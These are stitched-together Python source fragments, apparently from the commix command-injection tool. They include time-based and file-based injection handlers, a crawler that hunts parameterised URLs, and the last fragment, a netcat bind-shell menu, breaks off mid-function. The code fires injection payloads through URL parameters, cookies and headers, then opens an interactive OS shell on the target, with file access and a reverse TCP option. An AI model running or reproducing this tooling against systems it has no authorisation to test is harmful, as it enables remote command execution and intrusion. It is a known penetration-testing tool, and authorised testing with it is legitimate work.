enumerate_again = "Y" if enumerate_again in settings.CHOICE_YES: fb_enumeration.do_check( separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # print("") break elif enumerate_again in settings.CHOICE_NO: new_line = False break elif file_access_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) delete_previous_shell( separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() else: err_msg = "'" + enumerate_again + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: if menu.enumeration_options(): fb_enumeration.do_check( separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if not menu.file_access_options( ) and not menu.options.os_cmd: if not settings.VERBOSITY_LEVEL >= 1 and new_line: print("") # Check for any system file access options. if settings.FILE_ACCESS_DONE == True: if settings.ENUMERATION_DONE != True: print("") while True: if not menu.options.batch: question_msg = "Do you want to access files again? [Y/n] > " file_access_again = _input( settings.print_question_msg( question_msg)) else: file_access_again = "" if len(file_access_again) == 0: file_access_again = "Y" if file_access_again in settings.CHOICE_YES: fb_file_access.do_check( separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) print("") break elif file_access_again in settings.CHOICE_NO: break elif file_access_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) delete_previous_shell( separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() else: err_msg = "'" + enumerate_again + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: if menu.file_access_options(): # if not menu.enumeration_options(): # print("") fb_file_access.do_check( separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) print("") # Check if defined single cmd. if menu.options.os_cmd: # if not menu.file_access_options(): # print("") fb_enumeration.single_os_cmd_exec( separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() try: # Pseudo-Terminal shell go_back = False go_back_again = False while True: # Delete previous shell (text) files (output) # if settings.VERBOSITY_LEVEL >= 1: # print("") delete_previous_shell( separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if settings.VERBOSITY_LEVEL >= 1: print("") if go_back == True: break if not menu.options.batch: question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " gotshell = _input( settings.print_question_msg( question_msg)) else: gotshell = "" if len(gotshell) == 0: gotshell = "Y" if gotshell in settings.CHOICE_YES: if not menu.options.batch: print("") print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") if readline_error: checks.no_readline_module() while True: # Tab compliter if not readline_error: readline.set_completer( menu.tab_completer) # MacOSX tab compliter if getattr( readline, '__doc__', '' ) is not None and 'libedit' in getattr( readline, '__doc__', ''): readline.parse_and_bind( "bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind( "tab: complete") cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) # if settings.VERBOSITY_LEVEL >= 1: # print("") if cmd.lower( ) in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option( separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE) if go_back and go_back_again == False: break if go_back and go_back_again: return True else: time.sleep(timesec) response = fb_injector.injection( separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if menu.options.ignore_session or \ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Command execution results. shell = fb_injector.injection_results( url, OUTPUT_TEXTFILE, timesec) shell = "".join( str(p) for p in shell) if not menu.options.ignore_session: session_handler.store_cmd( url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd( url, cmd, vuln_parameter) if shell: if shell != "": # Update logs with executed cmds and execution results. logs.executed_command( filename, cmd, shell) print("\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n") if not shell or shell == "": if settings.VERBOSITY_LEVEL >= 1: print("") err_msg = "The '" + cmd + "' command, does not return any output." print( settings. print_critical_msg( err_msg) + "\n") elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector( technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) delete_previous_shell( separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() else: err_msg = "'" + gotshell + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass except KeyboardInterrupt: # if settings.VERBOSITY_LEVEL >= 1: print("") # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise if no_result == True: if settings.VERBOSITY_LEVEL == 0: print("") return False else: sys.stdout.write("\r") sys.stdout.flush()
def crawler(url): if not menu.options.sitemap_url: if menu.options.crawldepth > 2: err_msg = "Depth level '" + str( menu.options.crawldepth) + "' is not a valid." print(settings.print_error_msg(err_msg)) raise SystemExit() info_msg = "Starting crawler and searching for " info_msg += "links with depth " + str(menu.options.crawldepth) + "." print(settings.print_info_msg(info_msg)) else: while True: if not menu.options.batch: question_msg = "Do you want to change the crawling depth level? [Y/n] > " message = _input(settings.print_question_msg(question_msg)) else: message = "" if len(message) == 0: message = "Y" if message in settings.CHOICE_YES or message in settings.CHOICE_NO: break elif message in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + message + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass # Change the crawling depth level. if message in settings.CHOICE_YES: while True: question_msg = "Please enter the crawling depth level (1-2) > " message = _input(settings.print_question_msg(question_msg)) if len(message) == 0: message = 1 break elif str(message) != "1" and str(message) != "2": err_msg = "Depth level '" + message + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: menu.options.crawldepth = message break while True: if not menu.options.sitemap_url: if not menu.options.batch: question_msg = "Do you want to check target for " question_msg += "the existence of site's sitemap(.xml)? [y/N] > " message = _input(settings.print_question_msg(question_msg)) else: message = "" if len(message) == 0: message = "n" if message in settings.CHOICE_YES: sitemap_check = True break elif message in settings.CHOICE_NO: sitemap_check = False break elif message in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + message + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: sitemap_check = True break if sitemap_check: output_href = sitemap(url) if output_href is None: sitemap_check = False info_msg = "Checking " if sitemap_check: info_msg += "identified 'sitemap.xml' " info_msg += "for usable links (with GET parameters). " sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() if not sitemap_check: output_href = do_process(url) if menu.options.crawldepth > 1: for url in output_href: output_href = do_process(url) if SKIPPED_URLS == 0: print(settings.SINGLE_WHITESPACE) info_msg = "Visited " + str( len(output_href)) + " link" + "s"[len(output_href) == 1:] + "." print(settings.print_info_msg(info_msg)) filename = store_crawling() valid_url_found = False try: url_num = 0 valid_urls = [] for check_url in output_href: if re.search(r"(.*?)\?(.+)", check_url): valid_url_found = True url_num += 1 print( settings.print_info_msg("URL #" + str(url_num) + " - " + check_url) + "") if filename is not None: with open(filename, "a") as crawling_results: crawling_results.write(check_url + "\n") if not menu.options.batch: question_msg = "Do you want to use URL #" + str( url_num) + " to perform tests? [Y/n] > " message = _input(settings.print_question_msg(question_msg)) else: message = "" if len(message) == 0: message = "Y" if message in settings.CHOICE_YES: return check_url elif message in settings.CHOICE_NO: if settings.VERBOSITY_LEVEL != 0: debug_msg = "Skipping '" + check_url + "'.\n" sys.stdout.write(settings.print_debug_msg(debug_msg)) pass elif message in settings.CHOICE_QUIT: raise SystemExit() raise SystemExit() except TypeError: pass if not valid_url_found: print(settings.SINGLE_WHITESPACE) raise SystemExit() # eof
def tfb_injection_handler(url, delay, filename, tmp_path, http_request_method, url_time_response): counter = 1 num_of_chars = 1 vp_flag = True no_result = True is_encoded = False possibly_vulnerable = False false_positive_warning = False how_long_statistic = [] export_injection_info = False how_long = 0 injection_type = "semi-blind command injection" technique = "tempfile-based injection technique" # Check if defined "--maxlen" option. if menu.options.maxlen: maxlen = settings.MAXLEN # Check if defined "--url-reload" option. if menu.options.url_reload == True: err_msg = "The '--url-reload' option is not available in " + technique + "!" print settings.print_critical_msg(err_msg) whitespace = checks.check_whitespaces() if settings.VERBOSITY_LEVEL >= 1: info_msg ="Testing the " + technique + "... " print settings.print_info_msg(info_msg) # Calculate all possible combinations total = (len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) - len(settings.JUNK_COMBINATION)) for prefix in settings.PREFIXES: for suffix in settings.SUFFIXES: for separator in settings.SEPARATORS: if settings.LOAD_SESSION: cmd = shell = "" url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method) checks.check_for_stored_tamper(payload) settings.FOUND_HOW_LONG = how_long settings.FOUND_DIFF = how_long - delay OUTPUT_TEXTFILE = tmp_path + TAG + ".txt" else: num_of_chars = num_of_chars + 1 # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" # Change TAG on every request to prevent false-positive resutls. TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6)) # The output file for file-based injection technique. OUTPUT_TEXTFILE = tmp_path + TAG + ".txt" alter_shell = menu.options.alter_shell tag_length = len(TAG) + 4 for output_length in range(1, int(tag_length)): try: # Tempfile-based decision payload (check if host is vulnerable). if alter_shell : payload = tfb_payloads.decision_alter_shell(separator, output_length, TAG, OUTPUT_TEXTFILE, delay, http_request_method) else: payload = tfb_payloads.decision(separator, output_length, TAG, OUTPUT_TEXTFILE, delay, http_request_method) # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = re.sub(" ", whitespace, payload) # Encode payload to Base64 if settings.TAMPER_SCRIPTS['base64encode']: from src.core.tamper import base64encode payload = base64encode.encode(payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL >= 1: payload_msg = payload.replace("\n", "\\n") print settings.print_payload(payload_msg) # Cookie Injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie injection. vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie) how_long = tfb_injector.cookie_injection_test(url, vuln_parameter, payload) # User-Agent Injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent injection. vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent) how_long = tfb_injector.user_agent_injection_test(url, vuln_parameter, payload) # Referer Injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer injection. vuln_parameter = parameters.specify_referer_parameter(menu.options.referer) how_long = tfb_injector.referer_injection_test(url, vuln_parameter, payload) # Custom HTTP header Injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom http header injection. vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG) how_long = tfb_injector.custom_header_injection_test(url, vuln_parameter, payload) else: # Check if target host is vulnerable. how_long, vuln_parameter = tfb_injector.injection_test(payload, http_request_method, url) # Statistical analysis in time responses. how_long_statistic.append(how_long) # Injection percentage calculation percent = ((num_of_chars * 100) / total) float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2)) if percent == 100 and no_result == True: if not settings.VERBOSITY_LEVEL >= 1: percent = Fore.RED + "FAILED" + Style.RESET_ALL else: percent = "" else: if (url_time_response == 0 and (how_long - delay) >= 0) or \ (url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \ (url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) : # Time relative false positive fixation. false_positive_fixation = False if len(TAG) == output_length: # Simple statical analysis statistical_anomaly = True if len(set(how_long_statistic[0:5])) == 1: if max(xrange(len(how_long_statistic)), key=lambda x: how_long_statistic[x]) == len(TAG) - 1: statistical_anomaly = False how_long_statistic = [] if delay <= how_long and not statistical_anomaly: false_positive_fixation = True else: false_positive_warning = True # Identified false positive warning message. if false_positive_warning: warn_msg = "Unexpected time delays have been identified due to unstable " warn_msg += "requests. This behavior may lead to false-positive results.\n" sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) while True: question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " sys.stdout.write(settings.print_question_msg(question_msg)) proceed_option = sys.stdin.readline().replace("\n","").lower() if proceed_option.lower() in settings.CHOICE_PROCEED : if proceed_option.lower() == "s": false_positive_fixation = False raise elif proceed_option.lower() == "c": delay = delay + 1 false_positive_fixation = True break elif proceed_option.lower() == "q": raise SystemExit() else: if proceed_option == "": proceed_option = "enter" err_msg = "'" + proceed_option + "' is not a valid answer." print settings.print_error_msg(err_msg) pass # Check if false positive fixation is True. if false_positive_fixation: false_positive_fixation = False settings.FOUND_HOW_LONG = how_long settings.FOUND_DIFF = how_long - delay if false_positive_warning: time.sleep(1) randv1 = random.randrange(0, 1) randv2 = random.randrange(1, 2) randvcalc = randv1 + randv2 if settings.TARGET_OS == "win": if alter_shell: cmd = settings.WIN_PYTHON_DIR + "python.exe -c \"print (" + str(randv1) + " + " + str(randv2) + ")\"" else: cmd = "powershell.exe -InputFormat none write (" + str(randv1) + " + " + str(randv2) + ")" else: cmd = "echo $((" + str(randv1) + " + " + str(randv2) + "))" # Check for false positive resutls how_long, output = tfb_injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, how_long, url_time_response) if (url_time_response == 0 and (how_long - delay) >= 0) or \ (url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \ (url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) : if str(output) == str(randvcalc) and len(TAG) == output_length: possibly_vulnerable = True how_long_statistic = 0 if not settings.VERBOSITY_LEVEL >= 1: percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL else: percent = "" #break else: break # False positive else: if not settings.VERBOSITY_LEVEL >= 1: percent = str(float_percent)+ "%" info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() continue else: if not settings.VERBOSITY_LEVEL >= 1: percent = str(float_percent)+ "%" info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() continue if not settings.VERBOSITY_LEVEL >= 1: info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() except KeyboardInterrupt: if 'cmd' in locals(): # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except SystemExit: # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except: percent = ((num_of_chars * 100) / total) float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2)) if str(float_percent) == "100.0": if no_result == True: if not settings.VERBOSITY_LEVEL >= 1: percent = Fore.RED + "FAILED" + Style.RESET_ALL info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() else: percent = "" else: percent = str(float_percent) + "%" #Print logs notification message #percent = Fore.BLUE + "FINISHED" + Style.RESET_ALL info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() print "" logs.logs_notification(filename) raise else: percent = str(float_percent) + "%" break # Yaw, got shellz! # Do some magic tricks! if (url_time_response == 0 and (how_long - delay) >= 0) or \ (url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \ (url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) : if (len(TAG) == output_length) and \ (possibly_vulnerable == True or settings.LOAD_SESSION and int(is_vulnerable) == menu.options.level): found = True no_result = False if settings.LOAD_SESSION: possibly_vulnerable = False if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: header_name = " " + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" else: header_name = "" the_type = " parameter" if http_request_method == "GET": found_vuln_parameter = parameters.vuln_GET_param(url) else : found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0 : found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.LOAD_SESSION: print "" # Print the findings to terminal. success_msg = "The" if found_vuln_parameter == " ": success_msg += http_request_method + "" success_msg += the_type + header_name success_msg += found_vuln_parameter + " seems injectable via " success_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "." print settings.print_success_msg(success_msg) print settings.SUB_CONTENT_SIGN + "Payload: " + re.sub("%20", " ", payload.replace("\n", "\\n")) + Style.RESET_ALL # Export session if not settings.LOAD_SESSION: shell = "" session_handler.injection_point_importation(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable=menu.options.level) #possibly_vulnerable = False else: settings.LOAD_SESSION = False # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if settings.TARGET_OS == "win": time.sleep(1) new_line = False # Check for any enumeration options. if settings.ENUMERATION_DONE == True : while True: question_msg = "Do you want to enumerate again? [Y/n/q] > " enumerate_again = raw_input("\n" + settings.print_question_msg(question_msg)).lower() if enumerate_again in settings.CHOICE_YES: tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) print "" break elif enumerate_again in settings.CHOICE_NO: new_line = True break elif enumerate_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) sys.exit(0) else: if enumerate_again == "": enumerate_again = "enter" err_msg = "'" + enumerate_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: if menu.enumeration_options(): tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) print "" # Check for any system file access options. if settings.FILE_ACCESS_DONE == True : print "" while True: question_msg = "Do you want to access files again? [Y/n/q] > " sys.stdout.write(settings.print_question_msg(question_msg)) file_access_again = sys.stdin.readline().replace("\n","").lower() if file_access_again in settings.CHOICE_YES: tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) break elif file_access_again in settings.CHOICE_NO: if not new_line: new_line = True break elif file_access_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) sys.exit(0) else: if file_access_again == "": file_access_again = "enter" err_msg = "'" + file_access_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: # if not menu.enumeration_options() and not menu.options.os_cmd: # print "" tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) # Check if defined single cmd. if menu.options.os_cmd: check_how_long, output = tfb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) # Export injection result tfb_injector.export_injection_results(cmd, separator, output, check_how_long) # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) sys.exit(0) if not new_line : print "" try: # Pseudo-Terminal shell go_back = False go_back_again = False while True: if go_back == True: break question_msg = "Do you want a Pseudo-Terminal? [Y/n/q] > " sys.stdout.write(settings.print_question_msg(question_msg)) gotshell = sys.stdin.readline().replace("\n","").lower() if gotshell in settings.CHOICE_YES: print "" print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)" if readline_error: checks.no_readline_module() while True: if false_positive_warning: warn_msg = "Due to unexpected time delays, it is highly " warn_msg += "recommended to enable the 'reverse_tcp' option.\n" sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) false_positive_warning = False try: # Tab compliter if not readline_error: readline.set_completer(menu.tab_completer) # MacOSX tab compliter if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''): readline.parse_and_bind("bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind("tab: complete") cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result) if os_shell_option == False: if no_result == True: return False else: return True elif os_shell_option == "quit": # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) sys.exit(0) elif os_shell_option == "back": go_back = True break elif os_shell_option == "os_shell": warn_msg = "You are already into an 'os_shell' mode." print settings.print_warning_msg(warn_msg)+ "\n" elif os_shell_option == "reverse_tcp": settings.REVERSE_TCP = True # Set up LHOST / LPORT for The reverse TCP connection. reverse_tcp.configure_reverse_tcp() if settings.REVERSE_TCP == False: continue while True: if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS: result = checks.check_reverse_tcp_options(settings.LHOST) else: cmd = reverse_tcp.reverse_tcp_options() result = checks.check_reverse_tcp_options(cmd) if result != None: if result == 0: return False elif result == 1 or result == 2: go_back_again = True settings.REVERSE_TCP = False break # Command execution results. from src.core.injections.results_based.techniques.classic import cb_injector separator = checks.time_based_separators(separator, http_request_method) whitespace = settings.WHITESPACE[0] response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Evaluate injection results. shell = cb_injector.injection_results(response, TAG, cmd) if settings.VERBOSITY_LEVEL >= 1: print "" err_msg = "The reverse TCP connection has been failed!" print settings.print_critical_msg(err_msg) else: pass else: print "" if menu.options.ignore_session or \ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # The main command injection exploitation. check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) # Export injection result tfb_injector.export_injection_results(cmd, separator, output, check_how_long) if not menu.options.ignore_session : session_handler.store_cmd(url, cmd, output, vuln_parameter) else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) print Fore.GREEN + Style.BRIGHT + output + "\n" + Style.RESET_ALL except KeyboardInterrupt: # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except SystemExit: # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector(technique, go_back) == True: break else: if no_result == True: return False else: # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) return True elif gotshell in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) sys.exit(0) else: if gotshell == "": gotshell = "enter" err_msg = "'" + gotshell + "' is not a valid answer." print settings.print_error_msg(err_msg) pass except KeyboardInterrupt: # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except SystemExit: # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise if no_result == True: print "" return False else : sys.stdout.write("\r") sys.stdout.flush()
def injection_output(url, OUTPUT_TEXTFILE, timesec): def custom_web_root(url, OUTPUT_TEXTFILE): path = _urllib.parse.urlparse(url).path if path.endswith('/'): # Contract again the url. scheme = _urllib.parse.urlparse(url).scheme netloc = _urllib.parse.urlparse(url).netloc output = scheme + "://" + netloc + path + OUTPUT_TEXTFILE else: try: path_parts = [ non_empty for non_empty in path.split('/') if non_empty ] count = 0 for part in path_parts: count = count + 1 count = count - 1 last_param = path_parts[count] output = url.replace(last_param, OUTPUT_TEXTFILE) if "?" and ".txt" in output: try: output = output.split("?")[0] except: pass except IndexError: output = url + "/" + OUTPUT_TEXTFILE settings.DEFINED_WEBROOT = output return output if not settings.DEFINED_WEBROOT: if menu.options.web_root: _ = "/" if not menu.options.web_root.endswith(_): menu.options.web_root = menu.options.web_root + _ scheme = _urllib.parse.urlparse(url).scheme netloc = _urllib.parse.urlparse(url).netloc output = scheme + "://" + netloc + _ + OUTPUT_TEXTFILE for item in settings.LINUX_DEFAULT_DOC_ROOTS: if item == menu.options.web_root: settings.DEFINED_WEBROOT = output break if not settings.DEFINED_WEBROOT: while True: if not menu.options.batch: question_msg = "Do you want to use URL '" + output question_msg += "' for command execution results extraction? [Y/n] > " procced_option = _input( settings.print_question_msg(question_msg)) else: procced_option = "" if procced_option in settings.CHOICE_YES or len( procced_option) == 0: settings.DEFINED_WEBROOT = output break elif procced_option in settings.CHOICE_NO: output = custom_web_root(url, OUTPUT_TEXTFILE) if not settings.DEFINED_WEBROOT: pass else: break elif procced_option in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + procced_option + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: output = custom_web_root(url, OUTPUT_TEXTFILE) else: output = settings.DEFINED_WEBROOT if settings.VERBOSITY_LEVEL != 0: debug_msg = "Checking URL '" + settings.DEFINED_WEBROOT + "' for command execution results extraction." print(settings.print_debug_msg(debug_msg)) return output
def netcat_version(separator): # Defined shell shell = "sh" # Netcat alternatives NETCAT_ALTERNATIVES = ["nc", "busybox nc", "nc.traditional", "nc.openbsd"] while True: nc_version = _input(""" ---[ """ + Style.BRIGHT + Fore.BLUE + """Unix-like targets""" + Style.RESET_ALL + """ ]--- Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use the default Netcat on target host. Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use Netcat for Busybox on target host. Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use Netcat-Traditional on target host. Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use Netcat-Openbsd on target host. \ncommix(""" + Style.BRIGHT + Fore.RED + """bind_tcp_netcat""" + Style.RESET_ALL + """) > """) # Default Netcat if nc_version == '1': nc_alternative = NETCAT_ALTERNATIVES[0] break # Netcat for Busybox if nc_version == '2': nc_alternative = NETCAT_ALTERNATIVES[1] break # Netcat-Traditional elif nc_version == '3': nc_alternative = NETCAT_ALTERNATIVES[2] break # Netcat-Openbsd (nc without -e) elif nc_version == '4': nc_alternative = NETCAT_ALTERNATIVES[3] break # Check for available shell options elif any(option in nc_version.lower() for option in settings.SHELL_OPTIONS): if shell_options(nc_version): return shell_options(nc_version) # Invalid command else: err_msg = "The '" + nc_version + "' option, is not valid." 